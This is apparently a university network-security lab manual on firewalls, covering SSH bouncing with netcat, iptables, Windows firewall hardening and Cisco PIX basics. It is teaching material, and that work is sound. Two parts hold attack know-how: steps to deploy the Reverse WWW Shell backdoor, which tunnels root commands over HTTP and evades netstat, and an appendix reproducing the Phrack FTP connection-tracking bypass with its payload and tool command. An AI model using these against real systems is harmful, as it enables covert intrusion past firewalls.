Now that you have set up a Firewall to filter unwanted traffic and block ports we are going to explore a way to get around firewalls. One such way is through tunneling. Tunneling is wrapping one protocol within another one, the protocol you are wrapping is one that would not get by the firewall and the protocol you wrap it with is something that would get through the firewall. For example, you could hide shell commands inside of an http get tcp command. Since you are allowing users to use the internet in your DMZ their port 80s will be open and those packets will not be filtered.
2..0 SSH Bouncing through a Firewall Using Netcat
Say you have a firewall and have multiple computers behind it that you want to access remotely using SSH. Intuitive options include either:
SSH to the firewall and then SSH to the target computer; however, this is a pain if you need to transfer files because you will have to transfer them to the firewall first.
21
Forward ports to different computers to login remotely using non standard SSH ports. This will require you to know which computer is at which port. This will also create public key conflicts.
However, with the help of netcat, you can create some scripts that will let you connect to any computer behind the firewall as if it there where not hops in between.
We are going to do this by using the firewall setup in the lab. Again this is how the firewall is setup.
Figure 1-1: Netwrok structure on the Firewall machines
Perform the following steps in the BlackHat machine: Create a file named config in /root/.ssh
vi /root/.ssh/config
Write the following information in this file:
Host protectedHostname 192.168.0.10HostKeyAlias protectedProxyCommand netcat-proxy-command 131.210.231.1 %h
Here Hostname is the computer behind the firewall, netcat-proxy-command is a script which we will create in the next step and %h is the local host name (linux replaces it automatically). You can add another
Now make a script in /usr/local/sbin named netcat-proxy-command
vi /usr/local/sbin/netcat-proxy-command
22
Write the following in the file:
#!/bin/shbouncehost=$1target=$2
ssh $bouncehost nc -w 1 $target 22
This script will create a proxy that will connect to the target computer behind the firewall after getting to the Firewall computer. Now make this script executable:
chmod +x /usr/local/sbin/netcat-proxy-command
You will now need to comment out the line your iptables.firewall script that forwards port 22 (SSH).
Restart the iptables.firewall script with the command:
/etc/rc.d/init.d/iptables stop./iptables.firewall
Now you can SSH from BlackHat to any computer behind the firewall defined in the .ssh/configure file by typing the following command:
ssh <HostKeyAlias>
For example, you can SSH to the protected computer by running the following command:ssh protected
The shell will ask for the password of firewall and then the password of Protected. Your window should look like the following screen shot.
23
This may not look like much since you can manually SSH into the firewall and then in to the target computer; however, this turns out to be really useful to transfer files since you can transfer them directly. For example, create a file named test file and send it to the protected computer:
scp testfile protected:~/testfile
Again it will ask you for the remote password of the Firewall and Protected. Your screen will look similar to the following screen shot.
24
25
1.6.6 Reverse WWW Shell
Reverse WWW Shell is a tunneling program that uses an interesting approach to tunneling. Instead of having the server listening on a port that can easily be detected it has the server connect to the client to get instructions the client has left in a certain directory. The shell commands in the Reverse WWW Shell look like http get calls and go through port 80. Because they look like innocuous web traffic, even proxy firewalls will have a hard time determining if the packets are malicious. It also has a random time frame for accessing the client so that it doesn't appear to be automated, to help evade sysadmins even more. Another program that works in the same manner is HTun, which can be found at http://htun.runslinux.net
This section will be done on your removable hard drive using one of the Mini-Net machines. Download the source from the NAS(http://www.thc.org/releases/rwwwshell-2.0.pl.gz)
Use the following commands to unzip and make executable:$ gunzip rwwwshell.pl.gz$ chmod +x rwwwshell.pl
This is a shell script. So open it up in your favorite text editor and go to these lines## MASTER CONFIG (specific for the MASTER)#$LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080)$SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!)
We need to change the listen port to 80, since we have root on our master machine this is no problem, now enter the IP address of your machine that the slave will access.
Now look at some of the options for the slave, we are going to need to change the timing of the system in order to get immediate feedback from our system, choose a time within the next 20 minutes for your SLAVE to check for commands. Also set the DEBUG field to no. You can also set eh delay between executing commands.
Now that we have the slave set up we need to install it on our slave system. Open your Redhat 7.2 Virtual machine and transfer the perl file to it. You may use sftp or scp to do so. Now run: $ ./rwwwshell.pl slave
now on the master run $ ./rwwwshell.pl master
If you were successful the slave will connect to the master at the time entered in the code and allow you to type in root commands that will be executed on the slave system. If you have your firewall running you can check to see whether the packets were filtered or not, they shouldn't be with the standard 80 port open.
26
Q1.10 Open ethereal and capture a few of the shell packets, what is their format?
Q1.12 Why does the format of the protocol make it specially hard to catch with a firewall?
Q1.13 A common way network administrators check for backdoors running on their system is to do a “netstat -na” Do this on your slave system, do you see an open port for the reverse www shell? Why not?
27
2. Windows Firewalls
RealSecure Desktop Protector
RSDP is a software firewall provided by OIT for Georgia Tech students. It is available at http://software.oit.gatech.edu/. It is available for download from the NAS. This section will guide you through the installation of this firewall and then show you some of its features.
After download, the installation of RSDP requires a little preparation. Now double click EmployeeRSDP.exe. This will preform a silent, non-interactive, install. Now reboot your computer. A RSDP icon should appear in your task tray as in figure 1.
Figure 1. RSDP task tray icon.Now lets configure RSDP. Single click the icon in the task tray. This should open up to a window which looks like figure 2.
28
RSDP opens to the event page, as you can see the only events that are listed are the stopping and starting of BlackICE, the name of our firewall engine. Events tagged with a red ! are high risk events. Highlight this event and click Event Info in the bottom right of the window. This should open up the help files for RSDP and will explain the event. This is shown in figure 3.
Figure 2. RSDP interface window.Figure 3. Help file for BlackICE Detection Stopped event.
29
The quick links in this help file will give you more information about this event, such as what is effected by it and how to resolve it. In this case the information is trivial, we caused the event by rebooting after install. Right now we have a default configuration of RSDP, lets see what it does.On your Red Hat WS 4.0 machine, ping your windows box.#ping <windows XP IP>Stop the ping after a few seconds with ctrl-cYou should see an output similar to figure 4.
Figure 4. Result of pinging windows machine.
Now look at your windows machine, you should not see a new event in your RSDP window. This is due to the default behavior of the firewall. You may, or may not, want ICMP messages to be able to reach your computer. We will change this behavior in a moment. But while it is still in the default configuration lets use nmap to scan our windows machine.#nmapfeThis will open the graphical version of nmap. Now enter your windows XP machine's IP address and run nmap with the default entries, SYN stealth, TCP&ICMP, and OS detection should be selected. Click scan and see what it finds, this might take a while to finish. You should get the list that is in figure 5.
Figure 5. Nmap scan output.
30
This shows that our default firewall setup is not bulletproof, we find information on several aspects of the victim machine. This shows that we even have open ports! This could be a disaster.Now look at the event window in RSDP, you should see a list similar to figure 6.
Figure 6. RSDP alerts from nmap scan.
Yikes, look at all those alerts. Nmap tries a lot of different methods to scan a computer, even with its default options. You are seeing an event for each different type of “attack”. Click on the Intruders tab, notice that it lists each IP that has accessed our machine. From here we can block the IP for either a specific amount of time, or forever. We don't need to block it since we are the attacker. Go back to the events tab. Notice the count for the TCP port scan. It should number several thousand. It is not possible to open the event info for this alert, since RSDP will attempt to check the ISS website for information. However, we know what caused this event and should be able to deal with it. Lets try and harden our firewall.
Click tools, then edit settings, the select the firewall tab. Uncheck the boxes labeled allow NetBIOS neighborhood and allow Internet file sharing. We are not sharing files on our network, therefore these are merely security risks. If you are sharing files on your network then this action will cause you trouble. The packet log and evidence log tabs do just what they sound. They allow you to log information from your firewall. This is typically a very good idea, but we won't check the logs in this lab section.
Lets go to the advanced rules section. Click tools, then advanced firewall settings. You should see a list of ports such as in figure 7.
31
Figure 7. Advanced Rules.
The green circle means that these ports are open, the blue arrows indicated whether traffic is allowed to be incoming or outgoing in these ports. The top two ports are to allow an administrative interface at a remote location. Lets remove it. Click ok. Click tools, then edit settings, the select the management tab. Uncheck the box labeled Reporting enabled, and click yes on the pop up window. Click ok and go back to the advanced settings. Now we have disabled reporting, but we cannot edit the settings of these ports. These open ports are for the firewall software. Lets leave them alone and add some rules to prevent nmap from scanning our computer. Click add and a window should pop up. In the name field enter ICMP blocker. Select IP type from the drop down menu and click the all addresses box. From the value drag down box select ICMP[1]. Select both for the direction and forever as the time. Your window should now look like figure 8.
32
Figure 8. Firewall rule.Now click Add.Go back to your Red Hat WS 4.0 machine and try to ping your windows machine. It should fail as in figure 9.
Figure 9. Ping results.
Ok, now we are part way to our goal. Now click on the rule for TCP port 135, this was one of the ports that nmap found open. Click modify and check the box to reject this traffic. Now click ok. Rerun nmap and look at its output, shown in figure 10.Success, not only are no ports open, but the OS fingerprinting failed. This exercise should show you how it is possible to create firewall rules to either allow, or block certain traffic. If, for example, you wanted to allow access to a web server hosted on this machine, you could easily add a rule to allow connections to port 80 from either a particular IP address, or from all addresses. This exercise should also show you that a default setup of a firewall may not be as secure as you would like and that testing a firewall once in place is required.
33
Figure 10. Nmap scan again.
Windows Built-in Firewall
Start your Windows XP virtual machine.
Now go back to the Red Hat WS 4.0 machine and run this command: nmap -sS -P0 -n -F -max_rtt_timeout 40 <Windows XP's IP>
Q2.1. List the open ports on the Windows XP machine.
Now go to the Windows XP Virtual machine.1. Click Start-->Settings -->Control Panels-->Network Connections-->Local Area Connections.2. Click the Properties button.3. Click the Advanced Tab. 4. Check the box next to “Protect my computer and network by limiting or preventing access to
this computer from the Internet”. This enables Windows' Internet Connection Firewall.5. Now click the “Settings...” button. This allows you to configure the firewall.6. Open the Security Logging Tab, and check the two check boxes next to “Log dropped
packets” and “Log Successful connections”.7. Now click “Ok”8. Click “Ok”9. Click Close.
Q2.2. Now that the firewall is configured and activated, list the open ports on the Windows XP machine.
Q2.3. As far as personal firewall software goes, how does windows XP's ICF compared to Linux's iptables?
34
Sources:
1. Copied and pasted for firewall introduction and explanationTyson, Jeff, “How Firewalls Work”http://computer.howstuffworks.com/firewall.htm/
2. Copied and pasted for IP Tables introductionSteams, William “Adaptive Firewalls with IP Tables”http://www.ists.dartmouth.edu/IRIA/knowledge_base/adaptive_firewalls.htm
3. Copied and pasted for iptables chains and certain rulesRussell, Rusty, “Linux 2.4 Packet Filtering HOWTO”http://www.netfilter.org/documentation/HOWTO//packet-filtering-HOWTO.html
4. Startup script and basis for rulesStephens, James C.http://www.sns.ias.edu/~jns/security/iptables/
5. Designing a DMZScott YoungMarch 26, 2001http://www.sans.org/rr/firewall/DMZ.php
35
Appendix 1-Aiptables.firewall
#load the iptables modules and connection tracking for ftp and natmodprobe ip_tablesmodprobe iptable_natmodprobe ip_conntrack_ftpmodprobe ip_nat_ftp
# Configure default policies (-P), meaning default rule to apply if no# more specific rule below is applicable. These rules apply if a more specific # rule below is not applicable. Defaults are to DROP anything sent to firewall or # internal network, permit anything going out.iptables -P INPUT DROPiptables -P FORWARD DROPiptables -P OUTPUT ACCEPT
# Flush (-F) all specific rulesiptables -F INPUT iptables -F FORWARD iptables -F OUTPUT iptables -F -t nat
iptables -A INPUT -d 131.210.231.1 -p tcp --dport 23 -j LOG --log-prefix 'TELNET ATTEMPT: '
# The rest of this file contains specific rules that are applied in the order# listed. If none applies, then the above policy rules are used.
# Forward all packets from vmnet1 (internal network) to vmnet2 (the internet).iptables -A FORWARD -i vmnet1 -o vmnet2 -j ACCEPT
# Forward packets that are part of existing and related connections from # vmnet2 to vmnet1.iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state ESTABLISHED,RELATED -j ACCEPT
# Permit packets in to firewall itself that are part of existing and related # connections.iptables -A INPUT -i vmnet2 -m state --state ESTABLISHED,RELATED -j ACCEPT
# Note, in the above two rules, a connection becomes ESTABLISHED in the# iptables PREROUTING chain upon receipt of a SYNACK packet that is a# response to a previously sent SYN packet. The SYNACK packet itself is# considered to be part of the established connection, so no special# rule is needed to allow the SYNACK packet itself.
# Allow all inputs to firewall from the internal network and local interfacesiptables -A INPUT -i vmnet1 -s 0/0 -d 0/0 -j ACCEPTiptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT
36
# Alternative to SNAT -- MASQUERADE## If your firewall has a dynamic IP number because it connects to the# internet itself via DHCP, then you probably cannot predict what the IP# number is of your firewall's interface connected to the internet. In # this case, you need a rule like the following that assigns the (an) IP# number associated with vmnet2 to outgoing connections without you needing# to know in advance (at time of writing this rule) what that IP number is:#iptables -A POSTROUTING -t nat -o vmnet2 -j MASQUERADE
# Deny any packet coming in on the public internet interface vmnet2# which has a spoofed source address from our local networks:
iptables -A INPUT -i vmnet2 -s 192.168.0.0/24 -j DROPiptables -A INPUT -i vmnet2 -s 127.0.0.0/8 -j DROP
# If you query a particular remote DNS server, permit UDP responses from it#iptables -A INPUT -p udp -s <remote DNS server IP> --source-port 53 -d 0/0 -j ACCEPT
#prevent DoS by icmp floodiptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 30/minute --limit-burst 1 -j ACCEPT
#prevent DoS by tcp syn floodiptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 1 -j ACCEPT
#forward all http packets (port 80) to internal linux machineiptables -A PREROUTING -t nat -d 0/0 -p tcp --dport 80 -j DNAT --to 192.168.0.10:80iptables -A FORWARD -i vmnet2 -p tcp --dport 80 -j ACCEPT
#forward all ssh packets (port 22) to internal linux machineiptables -t nat -A PREROUTING -d 131.210.231.1 -p tcp --dport 22 -j DNAT --to 192.168.0.10:22iptables -A FORWARD -i vmnet2 -p tcp --dport 22 -j ACCEPT
# turn on ip forwarding in case it wasn't already enabled echo "1" > /proc/sys/net/ipv4/ip_forward
37
Appendix 1-BTroubleshooting installation.
Getting rid of ipchains:
If your iptables script won’t correctly execute, and it gives an error about the device being busy then follow these steps. In order for iptables to work, ipchains must be turned off.
First of all you will need to turn off the ipchains modules so it won't start in the future. To do this, you will need to change some filenames in the /etc/rc.d/ directory-structure. The following command should do it:
chkconfig --level 0123456 ipchains off
To turn the service off immediately however, type the following:
service ipchains stop
38
Appendix 1-C
Reference Websites:
Differences Between iptables and ipchains: http://www.netfilter.org/documentation/HOWTO/packet-filtering-HOWTO-10.html
Small History of Filtering Under Linux: http://www.geekcomix.com/cgi-bin/classnotes/wiki.pl?UNIX03/
Ipchains_And_Iptables_-_Small_History_Of_Filtering_Under_Linux
Packet Filtering with Linux: http://www.linuxfocus.org/English/May2003/article289.shtml
A Comparison of iptables Automation Tools: http://online.securityfocus.com/infocus/1410
The last website is an article that compares some popular automation tools for iptables. While researching the web for Q3.10 of Lab 7, one of the reasons we found that companies do not use iptables more often is that it is strictly command line driven and that Cisco offers users an easier to use interface (as well as the traditional Cisco command line). We felt that more users might be willing to use iptables if there was an easier to use interface or a tool that could automate setting the firewall rules. On the website “http://online.securityfocus.com/infocus/1410” we looked at one such tool called AGT. AGT is downloadable from “http://sourceforge.net/projects/agt” and is very easy to install. It is downloaded as a gzipped tarball package that can be extracted by running the command # tar –xvfz agt-1.11.tar.gzThen cd into the agt-1.11 directory and issue a “make” command followed by a “make install” command.
Once installed, the program runs from /usr/sbin/agt and the configuration file is at /etc/agt.rules. The program comes with full man pages as well.
Due to the fact that the program needs a Linux installation with iptables running on it and it need access to more than one network in order to configure the firewall/gateway settings, this install would have been better suited to install on the iptables lab machine. However we did not have permission to do that so we installed it on our Linux host WS 4.0 workstation. To demonstrate some of it’s functionality we will take a look at a sample agt.rules file and point out some of the useful commands contained within it. The entire age.rules file is attached to this answer sheet as an appendix.
In the first section, you can see that by default all incoming packets are dropped and all output and forward packets are accepted, shown by:default input drop
39
default output acceptdefault forward accept
In configuration files such as this, the first few commands will configure a “blanket” set of rules and the subsequent commands will tailor the rules more specifically. That way if a specific rules later in the file fails, the default will still protect your network.
For trusted networks you can accept network traffic on specific interfaces with the command:
input accept on eth1 from internal/24input accept on eth1 from 10.2.0.0/16 # or whatever your network is
Since telnet is such a dangerous program to use (as illustrated in previous labs) it is often a good idea not to allow it into your firewall:
input mirror on eth0 proto tcp port telnet
And follow that up with:
input accept on eth+ proto tcp port ssh
Other important features of this file are the restriction that it can place during specific times like allowing IRC during lunchtime, CVS access on the weekends, etc. This gives administrators more control on employees and what they can do and when.
While the underlying functionality of AGT is still iptables, and the user cannot do anything with AGT that they cannot do with iptables, we feel that this type of program is more intuitive than issuing the standard iptables commands like we did in our lab. This type of configuration is also easier in the sense that everything is contained in a configuration file where you can see all of your rules in one place rather than issuing single commands to iptables. Furthermore, this is just one example of a Linux firewall interface, there are other programs such as Knetfilter [http://expansa.sns.it/knetfilter/] that offer a full GUI interface to iptables that runs in KDE. A full GUI interface to iptables may not be that useful however because most administrators that use Linux for firewalls are doing so because they can run it on a very small machine that probably has limited resources and cannot handle X11 windows and KDE. But the point remains valid that there are alternatives to the traditional iptables command line interface that can make the Linux based firewall more appealing to users that cannot afford Cisco or other brands.
40
Member agt-1.11/etc/agt.rules.sample of archive agt-1.11.tar.gz:
## /etc/agt.rules## This is a fairly comprehensive guide to the options supported# and recognised by AGT.## This DOES NOT mean that your kernel will support them however!# Some options require specific modules to be loaded. (mport, MIRROR, etc)## Experiment with this file, it should be fairly simple to tailor to# your network and needs. (i hope!)## This file assumes some knowledge of netfilter/iptables.## Some of the options in this example configuration appear to be# unrealistic, and seem to contradict other options, but this file# is designed to be used as a *guide* only, not actually used!## You WILL have problems if you directly use this file!## $Id: agt.rules.sample,v 1.2 2003/04/29 04:49:06 ajg Exp $
# masquerade these networks (can be defined in /etc/networks)nat from internal/24nat from 10.2.0.0/16
# port forward port 80 to 8080 on an internal machine.portfw proto tcp port 80 to 192.168.0.2:8080
# nat these private IP's to real IP's# the gateway has to have the real IP's aliased on an interface.# this is bi-directional.nat from 10.2.0.5 to 123.123.123.5nat from 10.2.0.6 to 111.222.123.100
# -----------------------------
# create a new chain called 'mynewchain'new mynewchain
# be paranoid by default, drop all incoming packetsdefault input dropdefault output acceptdefault forward accept
# forward packets during weekdays, allow 1 machine all of the timeforward accept from 10.0.0.0/8 days Mon,Tue,Wed,Thu,Friforward accept from 10.0.0.20forward drop
41
# for compatibilty, allow loopback :Pinput accept on lo
# enable stateful packet trackinginput accept on eth+ keep state
# these networks are trusted, accept all trafficinput accept on eth1 from internal/24input accept on eth1 from 10.2.0.0/16
# only allow root to send packets through eth0# options include uid/gid/pid/sidoutput accept on eth0 owner uid rootoutput drop on eth0
# bounce telnet on eth0 back to the sender...# READ THE ADVISORIES BEFORE USING MIRROR TARGETS!# Improper use can lead to certain types of Denial of Service.input mirror on eth0 proto tcp port telnet
# drop packets that seem to be invalidinput drop invalid
# we don't want broadcast packets (types = host/broadcast/multicast)input drop on eth0 pkttype broadcast
# match strange looking packetsinput drop unclean
# allow ssh on any interfaceinput accept on eth+ proto tcp port ssh
# only allow staff to telnet during office hours# (cp /usr/bin/telnet /home/myname/blah can bypass this)output drop cmd telnet group staff time-start 09:00 time-stop 17:00 days Mon,Tue,Wed,Thu,Fri
# allow irc at lunchtimeoutput accept port 6667 time-start 12:00 time-stop 13:00output drop port 6667
# allow cvs access at the weekendinput accept port 2401 days Sat,Suninput drop port 2401
# allow incoming ftp on Monday and Thursdayinput accept port ftp days Mon,Friinput drop port ftp
# stop all connections for 30 minutes on Friday nightinput drop time-start 22:00 time-stop 22:30 days Fri
# match based on packet length >50 but <120input accept on eth+ proto tcp port 3000 length 50:120
# allow 512000 bytes before dropping
42
input accept on eth+ proto tcp port http quota 512000input drop on eth+ proto tcp port http
# only allow 5 active ftp connections at onceinput drop on eth0 proto tcp port ftp limit 5 flags SYN
# match this host's MAC addressinput accept on eth+ proto tcp port https mac 00:DE:AD:BE:EF:00
# match ftp, note that 'port' is equal to 'dport'input accept on eth+ proto tcp dport ftp
# match multiple ports in one rule.input accept on eth+ proto tcp ports imap,imaps
# allow connections to port 10000, if coming from port 4300input accept on eth+ proto tcp port 10000 sport 4300
# allow 1 host to connect to our vpn :Pinput accept on eth+ proto tcp port pptp from host.somedomain.com
# allow gre on any interfaceinput accept on eth+ proto gre
# block 50% of incoming pings, randomly. allow other icmp# valid icmp types obtained by running 'iptables -p icmp -h'# icmp-type is an alias for icmptypeinput drop on eth0 proto icmp icmptype echo-request random 50input accept on eth+ proto icmp
# not matched? close the TCP connection with a RST, others with host unreachable# valid 'with' options obtained by running 'iptables -j REJECT -h'input reject on eth+ proto tcp with tcp-resetinput reject on eth+ with host-unreach
43
Appendix 1-D
We realized that the first part of the Firewall lab is very technical and as a result, only advanced users may truly avail the benefits of the firewall. However, we were able to locate a powerful GUI environment based on iptables which greatly simplifies the use and functionalities of iptables. The name of the program is Guarddog.Installation of the program:1. Go to this site: http://www.simonzone.com/software/guarddog/2. Click on the Download tab3. Download the RPM file under RedHat 9: 2.2.0 RPM: guarddog-2.2.0-1rh9.i386.rpm4. To install the program, type: “rpm –Uvh guarddog-2.2.0-1rh9.i386.rpm”5. Reboot to start the script.
To start Guarddog after reboot, type guarddog and a GUI interface will appear.
Section 1: ProtocolsTo specify a protocol, click on the protocol tab in the Guarddog GUI and expand Network. Click on the check box beside the desired protocol once to permit the protocol and click again to reject the selected protocol.For example: clicking the check box beside the ‘Ping’ twice rejects all pings.
Figure 1. Ping box checked twice
44
Figure 2. Linux 7.2 tried to ping to workstation and failed.
All protocols are listed on the protocols tabs and can be blocked or permitted as desired. Once pings are set to “reject,” a ping attempt from the 7.2 machine is unsuccessful, as shown in Figure 2.
Section 2: Port BlockingTo block specific ports using guarddog, click on the Advanced tab, and then select New Protocol. Enter a name for the new protocol (eg. “PortBlock”), and enter the port on which it will be active (eg. “1000”). Now go back to the “Protocol” tab and expand the User Defined group. The new protocol that you just created should be visible here, and you will have the freedom to block / permit any activity on that port.
Section 3: Creating ZonesAt one point the lab required the creation of a “De-Militarized Zone”. This can be accomplished using Guarddog by clicking “Zones” and clicking “New Zone”. Name the zone “DMZ” and assign the address range and security protocols as necessary for this zone.
This GUI environment greatly simplifies and would hasten progress in many sections of the lab. Therefore, it would be useful to replace all sections of the lab that use iptables, with fresh instructions on the use of Guarddog.
45
Appendix 1-E
1. Linux Firewall exploit Most firewalls do not usually allow any connections except FTP control connections to an FTP server port (TCP port 21 by default) for network security. However, as long as a file is transferred, they accept the data connection temporarily. To do this, a firewall tracks the control connection state and detects the command related to file transfer. This is called stateful inspection. The attack described here will make a firewall allow an illegal connection by deceiving its connection tracking using a forged FTP command. This attack is described in detail in the Phrack article http://www.phrack.org/phrack/63/p63-0x13_Breaking_Through_a_Firewall.txt
An attacker can transmit a PORT command without the character <CR> in the end of the line. The command line has only <LF> in the end. An example is "PORT 192,168,100,100,26,11\n". On the contrary, a standard FTP command has <CRLF> sequence to denote the end of a line. If the module ip_conntrack_ftp receives a nonstandard PORT command of this type, it first detects a command and finds the character <CR> for the parsing. Because it cannot be found, ip_conntrack_ftp regards this as a "partial" command and drops the packet. Just before this action, ip_conntrack_ftp anticipated the sequence number of a packet that contains the next FTP command line and updated the associated information. This number is calculated based on the TCP sequence number and the data length of the "partial" PORT command packet. However, a TCP client, afterwards, usually retransmits the identical PORT command packet since the corresponding reply is not arrived at the client. In this case, ip_conntrack_ftp does NOT consider this retransmitted packet as an FTP command because its sequence number is different from that of the next FTP command anticipated. From the point of view of ip_conntrack_ftp, the packet has a "wrong" sequence number position. The module ip_conntrack_ftp just accepts the packet without analyzing this command. The FTP server can eventually receive the retransmitted packet from the attacker. Although ip_conntrack_ftp regards this "partial" command as INVALID, some FTP servers such as wu-FTP and IIS FTP conversely consider this PORT command without <CR> as VALID. In conclusion, the firewall, in this case, fails to "expect" the FTP data connection. And when the attacker sends a RETR command to download a file from the server, the server initiates to connect to the TCP port number, specified in the partial PORT command, on the attacker's host. Suppose that the TCP port number is 6667(IRC server port), the firewall accepts this connection under the stateless packet filtering rule that allows IRC connections instead of the stateful filtering rule. So the IP connection-tracking module mistakes the connection for IRC.
In conclusion, the attacker is able to illegally connect to any TCP port on the FTP server that the Netfilter firewall box protects.We had to take the following additional steps to make the exploit work on the Redhat 7.2 machine
Start/Flush iptables /etc/init.d/iptables restart
46
Setup connection tracking modprobe ip_conntrack_ftpmodprobe ip_conntrack_irc
Setup state full filteringiptables -A FORWARD -m state – state ESTABLISHED, RELATED -j ACCEPT
Create the irc command file irc.txt which contains the DCC command\1DCC CHAT t 3232236548 6667\1\n
Compile fake_irc.c and run it using the following command./fake_irc 57.35.6.142 6667 ece4112 password /home/ece4112/irc.txt
We have attached the output from the execution of the program.The Phrack article talks about two other exploits that work on the linux 2.4 kernel netfilter module.
2. Firewall spotting Here is an interesting article that we came across.
http://www.phrack.org/phrack/60/p60-0x0c.txt It describes how to spot a packet filtering firewall is in place. It works on the principle that almost every available firewall does not check for a valid CRC before checking the destination port/address. A complete network stack will drop invalid packets without response. No matter if that port is closed, open or whatever... But Packet Filters aren't so smart and they will reply.If we want to determine if there is a packet filter between us and a target host we must first check if the packet filter is configured to drop the packets or to send back an error. For this we send a valid tcp packet to any port that is supposed to be filtered:
# telnet www.oracle.com 31337Trying 148.87.9.44...telnet: Unable to connect to remote host: Connection refused
Good. Either the target host itself or a packet filter sends back a RST. Next step is to check if the RST comes from the target host or from a packet filter:
# hping -S -c 1 -p 31337 -b www.oracle.comHPING www.oracle.com (rl0 148.87.9.44): S set, 40 headers + 0 data byteslen=46 ip=148.87.9.44 flags=RA seq=0 ttl=23 id=52897 win=512 rtt=459.8 ms
If we get a reply we know that a packet filter is in place. If we dont get a reply we suspect that the packet arrives unfiltered at the destination host and is dropped by the TCP stack (e.g. no packet filter is in place).
Another technique to detect the existence of a packet filter is to compare the TTL of a RST and a SYN (which comes directly from the target host). The TTL-technique fails for all packet filters in bridging mode or filters that do not decrease the TTL and are placed directly in front of the target host (normal DMZ setup). The CRC-technique as described above on the other hand detects a packet filtering device in both cases.
3. Windows firewall’s exploits
47
Windows Firewall is not as secure as MS would want you to believe. Windows Firewall only blocks or patrols incoming traffic and it can be easily turned off by another application, possibly a worm. We will look at how well Windows Firewall does at blocking incoming traffic by pinning it against several tests which scan for open ports and possible exploits. The tests, provided by PCFlank.com, include a Stealth Test, an Advanced Port Scanner test and an Exploit Test. The tests were run on a system running Windows XP with Service Pack 2. Based on their results, windows pass the Stealth Test and possible exploits, but it failed with an Advanced Port Scanner test.
The stealth test checks to see if your computer is visible to the outside by sending packets to TCP:1 port on your machine. A good firewall should stealth your system from this connection attempt. The results show windows firewall passes this test.
The Advanced Port Scanner tests your system for open ports. This can be used in attacks on your computer. There are two types of port scans which are TCP connect scanning and TCP SYN scanning. TCP connect scanning is the basic for of TCP scanning. TCP SYN scanning is also known as "half-open" scanning, because the scanner doesn't open a full TCP connection. The scanner sends a SYN packet, as if it is going to open a real connection and waits for a response. A good firewall will not report any open ports.
According to the results Windows Firewall failed to stealth all of the ports scanned. Ports 135, 137, 138 and 139 were reported as closed when ideally a firewall should stealth all ports. When a port is reported as closed, this means that the port exists, therefore the system exist at that IP.
The Exploits Tests will detect how vulnerable your computer is to exploits attacks by sending unexpected packets to the victims PC. The results show that Windows Firewall was able to defend itself from the denial-of-service attacks.
Stealth Test:
48
Advanced Port Scan:
Exploits Test:
Source: http://www.flexbeta.net/main/printarticle.php?id=76
49
4. Additional question to Section 2, list some recently discovered Windows Firewall Exploits.
A weakness has been identified in Microsoft Windows, which could be exploited by local users to hide certain information. This flaw is due to an error in the way that the Windows Firewall User Interface handles malformed entries in the Windows Registry, which could be exploited by attackers or worms, when a system has already been compromised, to create Windows Firewall exception entries that will not be displayed in the Windows firewall graphical user interface.
At least one recent exploit in Internet Explorer, there are certain exploits that anti-anything (virus, spyware, pop-ups, etc) products are powerless against. What's your last line of defence to keep one of these exploits from phoning home? Outbound blocking – is a feature that the Windows Firewall lacks.
50
Part 3 – Cisco PIX 515E
Introduction
A hardware firewall usually has at least three interfaces, although many early implementations had two interfaces. It is still common to install a two-interface firewall. When using a firewall that has three interfaces, at least three networks are created. The three areas that are created by the firewall are described as follows:
Inside – The Inside is the trusted area of the internetwork. The devices on the Inside are the organization's private network (or networks). These devices share a common security policy relative to the Outside (the Internet) network. It is, however, a common practice to have a firewall to segment the trusted environment. If one department, such as Human Resources, needs to be protected from the rest of the trusted users, a firewall may be used.
Outside – The Outside is the untrusted area of the internetwork. The firewall secures the devices on the Inside and DMZ from the devices on the Outside. In the course of doing business, organizations typically allow access to the DMZ from the Outside.
DMZ (Demilitarized Zone) – The DMZ is an isolated network, or networks, which is usually accessible to the Outside users. The firewall must be configured to allow access from the Outside or Inside to the DMZ. The creation of a DMZ allows an organization to make information and services available to Outside users in a secure and controlled environment.
The hosts or servers that reside on the DMZ are commonly referred to as bastion hosts. In this case, a bastion host is a host that is current with regard to its operating system and patches to that operating system. The action of being current will usually make it less vulnerable to attack because the vendor has fixed or "patched" any known security flaws. The bastion host is a host that is running only those services necessary to make it perform its application duties. Unnecessary (and sometimes more vulnerable) services are turned off or removed from the host. Figure 3-1 illustrates this general network design..
. Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
51
Figure 3-1 – General Network Design Using a Firewall
The baseline perspective for a firewall is to perform the following functions:
Permit no access from the Outside to the Inside. Permit limited access from the Outside to the DMZ Permit all access from the Inside to the Outside. Permit limited access from the Inside to the DMZ.
The PIX Command-Line Interface.
The PIX Firewall contains a command set similar but not identical in syntax to the Cisco
. Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
52
IOS command set. When accessing a specific command, you must be in the proper mode (for that particular command) to access that particular command. The PIX provides four administrative access modes:
Unprivileged Mode – This mode is available when first accessing the PIX Firewall. This mode is frequently referred to as user EXEC mode. The> prompt is displayed. This mode lets you view a subset of all commands available. A user cannot make configuration changes if unprivileged mode is the only mode accessible.
Privileged Mode – This mode displays the # prompt and enables you to change the current settings. Any unprivileged command also works in privileged mode. Once you have access to privileged mode, you have access to configuration mode.
Configuration Mode – This mode displays the (config)# prompt and enables you to change system configurations. All privileged, unprivileged, and configuration commands work in this mode.
Monitor Mode – PIX Firewalls have a special mode called the monitor mode that permits you to perform special tasks that could otherwise not be performed like updating an image over the network.
Table 1 – Distinctive PIX Prompt for Administrative Modes
Within each access mode, you can abbreviate most commands down to the minimum length needed to make them unique. For example, you can enter wr t to view the configuration instead of entering the full command, write terminal. Additional examples are to enter en instead of enable to start privileged mode and co t instead of configuration terminal to start configuration mode. Help information is available from the PIX Firewall command line by entering help or ? to list all commands. If you enter help or ? after a command (for example, route?), the command syntax is listed. The number of commands listed when using the help (?) command differs by access mode. In addition, you can enter any command by itself on the command line and then press Enter to view the command syntax.
Note – A configuration file may be created offline using a text editor. A user may then copy and paste it into the PIX configuration. The PIX allows entire configuration to be input this way or one line at a time. A list of useful commands, while using the PIX user interface is given in Appendix A.
ASA Security Levels.
